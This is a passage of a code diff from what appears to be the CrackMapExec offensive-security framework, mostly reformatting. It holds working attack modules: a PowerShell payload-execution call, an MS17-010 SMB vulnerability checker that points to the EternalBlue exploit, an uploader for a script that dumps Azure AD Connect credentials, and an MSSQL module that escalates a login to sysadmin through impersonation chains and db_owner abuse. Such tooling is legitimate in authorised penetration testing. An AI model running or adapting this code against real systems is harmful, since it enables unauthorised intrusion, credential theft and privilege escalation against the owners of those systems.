||||
'http' if self.met_ssl == 'http' else 'https',
|
||||
"http" if self.met_ssl == "http" else "https",
|
||||
self.srvhost,
|
||||
self.srvport,
|
||||
self.rand)
|
||||
self.rand,
|
||||
)
|
||||
context.log.debug(command)
|
||||
connection.ps_execute(command, force_ps32=True)
|
||||
context.log.success('Executed payload')
|
||||
context.log.success("Executed payload")
|
||||
|
||||
+191
-218
@@ -1,199 +1,181 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# All credits to https://github.com/d4t4s3c/Win7Blue
|
||||
# All credits to https://github.com/d4t4s3c/Win7Blue
|
||||
# @d4t4s3c
|
||||
# Module by @mpgn_x64
|
||||
# Module by @mpgn_x64
|
||||
|
||||
from ctypes import *
|
||||
import socket
|
||||
import struct
|
||||
|
||||
class CMEModule:
|
||||
|
||||
name = 'ms17-010'
|
||||
class CMEModule:
|
||||
name = "ms17-010"
|
||||
description = "MS17-010, /!\ not tested oustide home lab"
|
||||
supported_protocols = ['smb']
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
|
||||
def on_login(self, context, connection):
|
||||
if check(connection.host):
|
||||
context.log.highlight("VULNERABLE")
|
||||
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
|
||||
|
||||
|
||||
class SMB_HEADER(Structure):
|
||||
"""SMB Header decoder.
|
||||
"""
|
||||
"""SMB Header decoder."""
|
||||
|
||||
_pack_ = 1
|
||||
_pack_ = 1
|
||||
|
||||
_fields_ = [
|
||||
("server_component", c_uint32),
|
||||
("smb_command", c_uint8),
|
||||
("error_class", c_uint8),
|
||||
("reserved1", c_uint8),
|
||||
("error_code", c_uint16),
|
||||
("flags", c_uint8),
|
||||
("flags2", c_uint16),
|
||||
("process_id_high", c_uint16),
|
||||
("signature", c_uint64),
|
||||
("reserved2", c_uint16),
|
||||
("tree_id", c_uint16),
|
||||
("process_id", c_uint16),
|
||||
("user_id", c_uint16),
|
||||
("multiplex_id", c_uint16)
|
||||
]
|
||||
_fields_ = [
|
||||
("server_component", c_uint32),
|
||||
("smb_command", c_uint8),
|
||||
("error_class", c_uint8),
|
||||
("reserved1", c_uint8),
|
||||
("error_code", c_uint16),
|
||||
("flags", c_uint8),
|
||||
("flags2", c_uint16),
|
||||
("process_id_high", c_uint16),
|
||||
("signature", c_uint64),
|
||||
("reserved2", c_uint16),
|
||||
("tree_id", c_uint16),
|
||||
("process_id", c_uint16),
|
||||
("user_id", c_uint16),
|
||||
("multiplex_id", c_uint16),
|
||||
]
|
||||
|
||||
def __new__(self, buffer=None):
|
||||
return self.from_buffer_copy(buffer)
|
||||
|
||||
def __new__(self, buffer=None):
|
||||
return self.from_buffer_copy(buffer)
|
||||
|
||||
def generate_smb_proto_payload(*protos):
|
||||
"""Generate SMB Protocol. Pakcet protos in order.
|
||||
"""
|
||||
"""Generate SMB Protocol. Pakcet protos in order."""
|
||||
hexdata = []
|
||||
for proto in protos:
|
||||
hexdata.extend(proto)
|
||||
hexdata.extend(proto)
|
||||
return "".join(hexdata)
|
||||
|
||||
|
||||
def calculate_doublepulsar_xor_key(s):
|
||||
"""Calaculate Doublepulsar Xor Key
|
||||
"""
|
||||
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
|
||||
x = x & 0xffffffff
|
||||
"""Calaculate Doublepulsar Xor Key"""
|
||||
x = 2 * s ^ (((s & 0xFF00 | (s << 16)) << 8) | (((s >> 16) | s & 0xFF0000) >> 8))
|
||||
x = x & 0xFFFFFFFF
|
||||
return x
|
||||
|
||||
|
||||
def negotiate_proto_request():
|
||||
"""Generate a negotiate_proto_request packet.
|
||||
"""
|
||||
netbios = [
|
||||
'\x00',
|
||||
'\x00\x00\x54'
|
||||
]
|
||||
"""Generate a negotiate_proto_request packet."""
|
||||
netbios = ["\x00", "\x00\x00\x54"]
|
||||
|
||||
smb_header = [
|
||||
'\xFF\x53\x4D\x42',
|
||||
'\x72',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x18',
|
||||
'\x01\x28',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x2F\x4B',
|
||||
'\x00\x00',
|
||||
'\xC5\x5E'
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x72",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x28",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
"\x00\x00",
|
||||
"\xC5\x5E",
|
||||
]
|
||||
|
||||
negotiate_proto_request = [
|
||||
'\x00',
|
||||
'\x31\x00',
|
||||
|
||||
'\x02',
|
||||
'\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00',
|
||||
|
||||
'\x02',
|
||||
'\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00',
|
||||
|
||||
'\x02',
|
||||
'\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00',
|
||||
|
||||
'\x02',
|
||||
'\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00'
|
||||
"\x00",
|
||||
"\x31\x00",
|
||||
"\x02",
|
||||
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00",
|
||||
"\x02",
|
||||
"\x4C\x4D\x31\x2E\x32\x58\x30\x30\x32\x00",
|
||||
"\x02",
|
||||
"\x4E\x54\x20\x4C\x41\x4E\x4D\x41\x4E\x20\x31\x2E\x30\x00",
|
||||
"\x02",
|
||||
"\x4E\x54\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00",
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, negotiate_proto_request)
|
||||
|
||||
|
||||
def session_setup_andx_request():
|
||||
"""Generate session setuo andx request.
|
||||
"""
|
||||
netbios = [
|
||||
'\x00',
|
||||
'\x00\x00\x63'
|
||||
]
|
||||
"""Generate session setuo andx request."""
|
||||
netbios = ["\x00", "\x00\x00\x63"]
|
||||
|
||||
smb_header = [
|
||||
'\xFF\x53\x4D\x42',
|
||||
'\x73',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x18',
|
||||
'\x01\x20',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x2F\x4B',
|
||||
'\x00\x00',
|
||||
'\xC5\x5E',
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x73",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x20",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
"\x00\x00",
|
||||
"\xC5\x5E",
|
||||
]
|
||||
|
||||
session_setup_andx_request = [
|
||||
'\x0D',
|
||||
'\xFF',
|
||||
'\x00',
|
||||
'\x00\x00',
|
||||
'\xDF\xFF',
|
||||
'\x02\x00',
|
||||
'\x01\x00',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x40\x00\x00\x00',
|
||||
'\x26\x00',
|
||||
'\x00',
|
||||
'\x2e\x00',
|
||||
'\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00',
|
||||
'\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00',
|
||||
"\x0D",
|
||||
"\xFF",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\xDF\xFF",
|
||||
"\x02\x00",
|
||||
"\x01\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x40\x00\x00\x00",
|
||||
"\x26\x00",
|
||||
"\x00",
|
||||
"\x2e\x00",
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x32\x31\x39\x35\x00",
|
||||
"\x57\x69\x6e\x64\x6f\x77\x73\x20\x32\x30\x30\x30\x20\x35\x2e\x30\x00",
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, session_setup_andx_request)
|
||||
|
||||
|
||||
def tree_connect_andx_request(ip, userid):
|
||||
"""Generate tree connect andx request.
|
||||
"""
|
||||
"""Generate tree connect andx request."""
|
||||
|
||||
netbios = [
|
||||
'\x00',
|
||||
'\x00\x00\x47'
|
||||
]
|
||||
netbios = ["\x00", "\x00\x00\x47"]
|
||||
|
||||
smb_header = [
|
||||
'\xFF\x53\x4D\x42',
|
||||
'\x75',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x18',
|
||||
'\x01\x20',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x2F\x4B',
|
||||
userid,
|
||||
'\xC5\x5E'
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x75",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x20",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x2F\x4B",
|
||||
userid,
|
||||
"\xC5\x5E",
|
||||
]
|
||||
|
||||
ipc = "\\\\{}\IPC$\x00".format(ip)
|
||||
|
||||
tree_connect_andx_request = [
|
||||
'\x04',
|
||||
'\xFF',
|
||||
'\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x01\x00',
|
||||
'\x1A\x00',
|
||||
'\x00',
|
||||
ipc.encode(),
|
||||
'\x3f\x3f\x3f\x3f\x3f\x00'
|
||||
"\x04",
|
||||
"\xFF",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x01\x00",
|
||||
"\x1A\x00",
|
||||
"\x00",
|
||||
ipc.encode(),
|
||||
"\x3f\x3f\x3f\x3f\x3f\x00",
|
||||
]
|
||||
|
||||
length = len("".join(smb_header)) + len("".join(tree_connect_andx_request))
|
||||
@@ -204,106 +186,98 @@ def tree_connect_andx_request(ip, userid):
|
||||
|
||||
|
||||
def peeknamedpipe_request(treeid, processid, userid, multiplex_id):
|
||||
"""Generate tran2 request
|
||||
"""
|
||||
"""Generate tran2 request"""
|
||||
|
||||
netbios = [
|
||||
'\x00',
|
||||
'\x00\x00\x4a'
|
||||
]
|
||||
netbios = ["\x00", "\x00\x00\x4a"]
|
||||
|
||||
smb_header = [
|
||||
'\xFF\x53\x4D\x42',
|
||||
'\x25',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x18',
|
||||
'\x01\x28',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x25",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x01\x28",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id,
|
||||
]
|
||||
|
||||
tran_request = [
|
||||
'\x10',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\xff\xff',
|
||||
'\xff\xff',
|
||||
'\x00',
|
||||
'\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x00\x00',
|
||||
'\x4a\x00',
|
||||
'\x00\x00',
|
||||
'\x4a\x00',
|
||||
'\x02',
|
||||
'\x00',
|
||||
'\x23\x00',
|
||||
'\x00\x00',
|
||||
'\x07\x00',
|
||||
'\x5c\x50\x49\x50\x45\x5c\x00'
|
||||
"\x10",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\xff\xff",
|
||||
"\xff\xff",
|
||||
"\x00",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x00\x00",
|
||||
"\x4a\x00",
|
||||
"\x00\x00",
|
||||
"\x4a\x00",
|
||||
"\x02",
|
||||
"\x00",
|
||||
"\x23\x00",
|
||||
"\x00\x00",
|
||||
"\x07\x00",
|
||||
"\x5c\x50\x49\x50\x45\x5c\x00",
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, tran_request)
|
||||
|
||||
|
||||
def trans2_request(treeid, processid, userid, multiplex_id):
|
||||
"""Generate trans2 request.
|
||||
"""
|
||||
"""Generate trans2 request."""
|
||||
|
||||
netbios = [
|
||||
'\x00',
|
||||
'\x00\x00\x4f'
|
||||
]
|
||||
netbios = ["\x00", "\x00\x00\x4f"]
|
||||
|
||||
smb_header = [
|
||||
'\xFF\x53\x4D\x42',
|
||||
'\x32',
|
||||
'\x00\x00\x00\x00',
|
||||
'\x18',
|
||||
'\x07\xc0',
|
||||
'\x00\x00',
|
||||
'\x00\x00\x00\x00\x00\x00\x00\x00',
|
||||
'\x00\x00',
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id
|
||||
"\xFF\x53\x4D\x42",
|
||||
"\x32",
|
||||
"\x00\x00\x00\x00",
|
||||
"\x18",
|
||||
"\x07\xc0",
|
||||
"\x00\x00",
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00",
|
||||
"\x00\x00",
|
||||
treeid,
|
||||
processid,
|
||||
userid,
|
||||
multiplex_id,
|
||||
]
|
||||
|
||||
trans2_request = [
|
||||
'\x0f',
|
||||
'\x0c\x00',
|
||||
'\x00\x00',
|
||||
'\x01\x00',
|
||||
'\x00\x00',
|
||||
'\x00',
|
||||
'\x00',
|
||||
'\x00\x00',
|
||||
'\xa6\xd9\xa4\x00',
|
||||
'\x00\x00',
|
||||
'\x0c\x00',
|
||||
'\x42\x00',
|
||||
'\x00\x00',
|
||||
'\x4e\x00',
|
||||
'\x01',
|
||||
'\x00',
|
||||
'\x0e\x00',
|
||||
'\x00\x00',
|
||||
'\x0c\x00' + '\x00' * 12
|
||||
"\x0f",
|
||||
"\x0c\x00",
|
||||
"\x00\x00",
|
||||
"\x01\x00",
|
||||
"\x00\x00",
|
||||
"\x00",
|
||||
"\x00",
|
||||
"\x00\x00",
|
||||
"\xa6\xd9\xa4\x00",
|
||||
"\x00\x00",
|
||||
"\x0c\x00",
|
||||
"\x42\x00",
|
||||
"\x00\x00",
|
||||
"\x4e\x00",
|
||||
"\x01",
|
||||
"\x00",
|
||||
"\x0e\x00",
|
||||
"\x00\x00",
|
||||
"\x0c\x00" + "\x00" * 12,
|
||||
]
|
||||
|
||||
return generate_smb_proto_payload(netbios, smb_header, trans2_request)
|
||||
|
||||
|
||||
def check(ip, port=445):
|
||||
"""Check if MS17_010 SMB Vulnerability exists.
|
||||
"""
|
||||
"""Check if MS17_010 SMB Vulnerability exists."""
|
||||
try:
|
||||
buffersize = 1024
|
||||
timeout = 5.0
|
||||
@@ -323,10 +297,10 @@ def check(ip, port=445):
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
|
||||
user_id = struct.pack('<H', smb.user_id)
|
||||
user_id = struct.pack("<H", smb.user_id)
|
||||
|
||||
session_setup_andx_response = tcp_response[36:]
|
||||
native_os = session_setup_andx_response[9:].split('\x00')[0]
|
||||
native_os = session_setup_andx_response[9:].split("\x00")[0]
|
||||
|
||||
raw_proto = tree_connect_andx_request(ip, user_id)
|
||||
client.send(raw_proto)
|
||||
@@ -336,10 +310,10 @@ def check(ip, port=445):
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
|
||||
tree_id = struct.pack('<H', smb.tree_id)
|
||||
process_id = struct.pack('<H', smb.process_id)
|
||||
user_id = struct.pack('<H', smb.user_id)
|
||||
multiplex_id = struct.pack('<H', smb.multiplex_id)
|
||||
tree_id = struct.pack("<H", smb.tree_id)
|
||||
process_id = struct.pack("<H", smb.process_id)
|
||||
user_id = struct.pack("<H", smb.user_id)
|
||||
multiplex_id = struct.pack("<H", smb.multiplex_id)
|
||||
|
||||
raw_proto = peeknamedpipe_request(tree_id, process_id, user_id, multiplex_id)
|
||||
client.send(raw_proto)
|
||||
@@ -349,12 +323,11 @@ def check(ip, port=445):
|
||||
smb_header = tcp_response[4:36]
|
||||
smb = SMB_HEADER(smb_header)
|
||||
|
||||
nt_status = struct.pack('BBH', smb.error_class, smb.reserved1, smb.error_code)
|
||||
nt_status = struct.pack("BBH", smb.error_class, smb.reserved1, smb.error_code)
|
||||
|
||||
|
||||
if nt_status == '\x05\x02\x00\xc0':
|
||||
if nt_status == "\x05\x02\x00\xc0":
|
||||
return True
|
||||
elif nt_status in ('\x08\x00\x00\xc0', '\x22\x00\x00\xc0'):
|
||||
elif nt_status in ("\x08\x00\x00\xc0", "\x22\x00\x00\xc0"):
|
||||
return False
|
||||
else:
|
||||
return False
|
||||
@@ -362,4 +335,4 @@ def check(ip, port=445):
|
||||
except Exception as err:
|
||||
return False
|
||||
finally:
|
||||
client.close()
|
||||
client.close()
|
||||
|
||||
+4
-4
@@ -1,4 +1,4 @@
|
||||
# MSOL module for CME
|
||||
# MSOL module for CME
|
||||
# Author of the module : https://twitter.com/Daahtk
|
||||
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
|
||||
from sys import exit
|
||||
@@ -37,7 +37,7 @@ class CMEModule:
|
||||
self.use_embedded = True
|
||||
self.msolmdl = self.cmd = ""
|
||||
|
||||
with open(get_ps_script('msol_dump/msol_dump.ps1'), 'r') as msolsc:
|
||||
with open(get_ps_script("msol_dump/msol_dump.ps1"), "r") as msolsc:
|
||||
self.msol_embedded = msolsc.read()
|
||||
|
||||
if "MSOL_PS1" in module_options:
|
||||
@@ -51,7 +51,7 @@ class CMEModule:
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.use_embedded:
|
||||
file_to_upload = "/tmp/msol.ps1"
|
||||
with open(file_to_upload, 'w') as msol:
|
||||
with open(file_to_upload, "w") as msol:
|
||||
msol.write(self.msol_embedded)
|
||||
else:
|
||||
if path.isfile(self.MSOL_PS1):
|
||||
@@ -61,7 +61,7 @@ class CMEModule:
|
||||
exit(1)
|
||||
|
||||
context.log.display(f"Uploading {self.msol}")
|
||||
with open(file_to_upload, 'rb') as msol:
|
||||
with open(file_to_upload, "rb") as msol:
|
||||
try:
|
||||
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
|
||||
context.log.success(f"Msol script successfully uploaded")
|
||||
|
||||
+82
-110
@@ -16,21 +16,30 @@ class User:
|
||||
self.parent = None
|
||||
self.is_sysadmin = False
|
||||
self.dbowner = None
|
||||
|
||||
def __str__(self):
|
||||
return f"User({self.username})"
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Enumerate MSSQL privileges and exploit them
|
||||
Enumerate MSSQL privileges and exploit them
|
||||
"""
|
||||
|
||||
name = 'mssql_priv'
|
||||
name = "mssql_priv"
|
||||
description = "Enumerate and exploit MSSQL privileges"
|
||||
supported_protocols = ['mssql']
|
||||
supported_protocols = ["mssql"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
|
||||
def __init__(self):
|
||||
self.admin_privs = None
|
||||
self.current_user = None
|
||||
self.current_username = None
|
||||
self.mssql_conn = None
|
||||
self.action = None
|
||||
self.context = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
ACTION Specifies the action to perform:
|
||||
@@ -39,9 +48,10 @@ class CMEModule:
|
||||
- rollback (remove sysadmin privilege)
|
||||
"""
|
||||
self.action = None
|
||||
self.context = context
|
||||
|
||||
if 'ACTION' in module_options:
|
||||
self.action = module_options['ACTION']
|
||||
if "ACTION" in module_options:
|
||||
self.action = module_options["ACTION"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# get mssql connection
|
||||
@@ -54,54 +64,35 @@ class CMEModule:
|
||||
|
||||
if self.action == "rollback":
|
||||
if not self.current_user.is_sysadmin:
|
||||
context.log.fail(
|
||||
f"{self.current_username} is not sysadmin"
|
||||
)
|
||||
self.context.log.fail(f"{self.current_username} is not sysadmin")
|
||||
return
|
||||
if self.remove_sysadmin_priv():
|
||||
context.log.success("sysadmin role removed")
|
||||
self.context.log.success("sysadmin role removed")
|
||||
else:
|
||||
context.log.success("failed to remove sysadmin role")
|
||||
self.context.log.success("failed to remove sysadmin role")
|
||||
return
|
||||
|
||||
|
||||
if self.current_user.is_sysadmin:
|
||||
context.log.success(
|
||||
f"{self.current_username} is already a sysadmin"
|
||||
)
|
||||
self.context.log.success(f"{self.current_username} is already a sysadmin")
|
||||
return
|
||||
|
||||
# build path
|
||||
self.perform_check(context, self.current_user)
|
||||
self.perform_impersonation_check(self.current_user)
|
||||
# look for a privesc path
|
||||
target_user = self.browse_path(
|
||||
context,
|
||||
self.current_user,
|
||||
self.current_user
|
||||
)
|
||||
target_user = self.browse_path(context, self.current_user, self.current_user)
|
||||
if self.action == "privesc":
|
||||
if not target_user:
|
||||
context.log.fail("can't find any path to privesc")
|
||||
self.context.log.fail("can't find any path to privesc")
|
||||
else:
|
||||
exec_as = self.build_exec_as_from_path(target_user)
|
||||
# privesc via impersonation privilege
|
||||
if target_user.is_sysadmin:
|
||||
self.do_impersonation_privesc(
|
||||
self.current_username,
|
||||
exec_as
|
||||
)
|
||||
self.do_impersonation_privesc(self.current_username, exec_as)
|
||||
# privesc via dbowner privilege
|
||||
elif target_user.dbowner:
|
||||
self.do_dbowner_privesc(target_user.dbowner, exec_as)
|
||||
if self.is_admin_user(self.current_username):
|
||||
context.log.success(
|
||||
f"{self.current_username} is now a sysadmin! " +
|
||||
highlight(
|
||||
'({})'.format(
|
||||
context.conf.get('CME', 'pwn3d_label')
|
||||
)
|
||||
)
|
||||
)
|
||||
self.context.log.success(f"{self.current_username} is now a sysadmin! " + highlight("({})".format(self.context.conf.get("CME", "pwn3d_label"))))
|
||||
|
||||
def build_exec_as_from_path(self, target_user):
|
||||
path = [target_user.username]
|
||||
@@ -115,49 +106,39 @@ class CMEModule:
|
||||
|
||||
def browse_path(self, context, initial_user: User, user: User) -> User:
|
||||
if initial_user.is_sysadmin:
|
||||
context.log.success(f"{initial_user.username} is sysadmin")
|
||||
self.context.log.success(f"{initial_user.username} is sysadmin")
|
||||
return initial_user
|
||||
elif initial_user.dbowner:
|
||||
context.log.success(
|
||||
f"{initial_user.username} can privesc via dbowner"
|
||||
)
|
||||
self.context.log.success(f"{initial_user.username} can privesc via dbowner")
|
||||
return initial_user
|
||||
for grantor in user.grantors:
|
||||
if grantor.is_sysadmin:
|
||||
context.log.success(
|
||||
f"{user.username} can impersonate " \
|
||||
f"{grantor.username} (sysadmin)"
|
||||
)
|
||||
self.context.log.success(f"{user.username} can impersonate: " f"{grantor.username} (sysadmin)")
|
||||
return grantor
|
||||
elif grantor.dbowner:
|
||||
context.log.success(
|
||||
f"{user.username} can impersonate {grantor.username} " \
|
||||
f"(which can privesc via dbowner)"
|
||||
)
|
||||
self.context.log.success(f"{user.username} can impersonate: {grantor.username} (which can privesc via dbowner)")
|
||||
return grantor
|
||||
else:
|
||||
context.log.display(
|
||||
f"{user.username} can impersonate {grantor.username}"
|
||||
)
|
||||
self.context.log.display(f"{user.username} can impersonate: {grantor.username}")
|
||||
return self.browse_path(context, initial_user, grantor)
|
||||
|
||||
def query_and_get_output(self, query):
|
||||
try:
|
||||
self.mssql_conn.sql_query(query)
|
||||
self.mssql_conn.printRows()
|
||||
query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
query_output = query_output.strip("\n-")
|
||||
return query_output
|
||||
except Exception as e:
|
||||
return False
|
||||
# try:
|
||||
results = self.mssql_conn.sql_query(query)
|
||||
# self.mssql_conn.printRows()
|
||||
# query_output = self.mssql_conn._MSSQL__rowsPrinter.getMessage()
|
||||
# query_output = results.strip("\n-")
|
||||
return results
|
||||
# except Exception as e:
|
||||
# return False
|
||||
|
||||
def sql_exec_as(self, grantors: list) -> str:
|
||||
exec_as = []
|
||||
for grantor in grantors:
|
||||
exec_as.append(f"EXECUTE AS LOGIN = '{grantor}';")
|
||||
return ''.join(exec_as)
|
||||
return "".join(exec_as)
|
||||
|
||||
def perform_check(self, context, user: User, grantors=[]):
|
||||
def perform_impersonation_check(self, user: User, grantors=[]):
|
||||
# build EXECUTE AS if any grantors is specified
|
||||
exec_as = self.sql_exec_as(grantors)
|
||||
# do we have any privilege ?
|
||||
@@ -170,16 +151,15 @@ class CMEModule:
|
||||
if new_grantor == user.username:
|
||||
continue
|
||||
# create a new user and add it as a grantor of the current user
|
||||
new_user = User(new_grantor)
|
||||
new_user.parent = user
|
||||
user.grantors.append(
|
||||
new_user
|
||||
)
|
||||
grantors.append(new_grantor)
|
||||
# perform the same check on the grantor
|
||||
self.perform_check(context, new_user, grantors)
|
||||
if new_grantor not in grantors:
|
||||
new_user = User(new_grantor)
|
||||
new_user.parent = user
|
||||
user.grantors.append(new_user)
|
||||
grantors.append(new_grantor)
|
||||
# perform the same check on the grantor
|
||||
self.perform_impersonation_check(new_user, grantors)
|
||||
|
||||
def update_priv(self, user: User, exec_as=''):
|
||||
def update_priv(self, user: User, exec_as=""):
|
||||
if self.is_admin_user(user.username):
|
||||
user.is_sysadmin = True
|
||||
return True
|
||||
@@ -187,28 +167,29 @@ class CMEModule:
|
||||
return user.dbowner
|
||||
|
||||
def get_current_username(self) -> str:
|
||||
return self.query_and_get_output("select SUSER_NAME()")
|
||||
return self.query_and_get_output("select SUSER_NAME()")[0][""]
|
||||
|
||||
def is_admin(self, exec_as='') -> bool:
|
||||
res = self.query_and_get_output(
|
||||
exec_as +
|
||||
"SELECT IS_SRVROLEMEMBER('sysadmin')"
|
||||
)
|
||||
def is_admin(self, exec_as="") -> bool:
|
||||
res = self.query_and_get_output(exec_as + "SELECT IS_SRVROLEMEMBER('sysadmin')")
|
||||
self.revert_context(exec_as)
|
||||
if int(res):
|
||||
is_admin = res[0][""]
|
||||
self.context.log.debug(f"IsAdmin Result: {is_admin}")
|
||||
if is_admin:
|
||||
self.context.log.debug(f"User is admin!")
|
||||
self.admin_privs = True
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def get_databases(self, exec_as='') -> list:
|
||||
res = self.query_and_get_output(
|
||||
exec_as + "SELECT name FROM master..sysdatabases")
|
||||
def get_databases(self, exec_as="") -> list:
|
||||
res = self.query_and_get_output(exec_as + "SELECT name FROM master..sysdatabases")
|
||||
self.revert_context(exec_as)
|
||||
tables = res.split("\n\n")[2:]
|
||||
self.context.log.debug(f"Response: {res}")
|
||||
self.context.log.debug(f"Response Type: {type(res)}")
|
||||
tables = [table["name"] for table in res]
|
||||
return tables
|
||||
|
||||
def is_dbowner(self, database, exec_as='') -> bool:
|
||||
def is_dbowner(self, database, exec_as="") -> bool:
|
||||
query = f"""select rp.name as database_role
|
||||
from [{database}].sys.database_role_members drm
|
||||
join [{database}].sys.database_principals rp
|
||||
@@ -216,22 +197,25 @@ class CMEModule:
|
||||
join [{database}].sys.database_principals mp
|
||||
on (drm.member_principal_id = mp.principal_id)
|
||||
where rp.name = 'db_owner' and mp.name = SYSTEM_USER"""
|
||||
self.context.log.debug(f"Query: {query}")
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
self.context.log.debug(f"Response: {res}")
|
||||
self.revert_context(exec_as)
|
||||
try:
|
||||
res = res.split("\n\n")[2]
|
||||
except IndexError as e:
|
||||
return False
|
||||
return res == "db_owner"
|
||||
if res:
|
||||
if "database_role" in res[0] and res[0]["database_role"] == "db_owner":
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def find_dbowner_priv(self, databases, exec_as='') -> list:
|
||||
def find_dbowner_priv(self, databases, exec_as="") -> list:
|
||||
match = []
|
||||
for database in databases:
|
||||
if self.is_dbowner(database, exec_as):
|
||||
match.append(database)
|
||||
return match
|
||||
|
||||
def find_trusted_db(self, exec_as='') -> list:
|
||||
def find_trusted_db(self, exec_as="") -> list:
|
||||
query = """SELECT d.name AS DATABASENAME
|
||||
FROM sys.server_principals r
|
||||
INNER JOIN sys.server_role_members m
|
||||
@@ -243,14 +227,10 @@ class CMEModule:
|
||||
WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB')
|
||||
and r.type = 'R' and r.name = N'sysadmin'"""
|
||||
res = self.query_and_get_output(exec_as + query)
|
||||
# revert context
|
||||
self.revert_context(exec_as)
|
||||
try:
|
||||
return res.split("\n\n")[2:]
|
||||
except IndexError:
|
||||
return []
|
||||
return res
|
||||
|
||||
def check_dbowner_privesc(self, exec_as=''):
|
||||
def check_dbowner_privesc(self, exec_as=""):
|
||||
databases = self.get_databases(exec_as)
|
||||
dbowner = self.find_dbowner_priv(databases, exec_as)
|
||||
trusted_db = self.find_trusted_db(exec_as)
|
||||
@@ -260,7 +240,7 @@ class CMEModule:
|
||||
return db
|
||||
return None
|
||||
|
||||
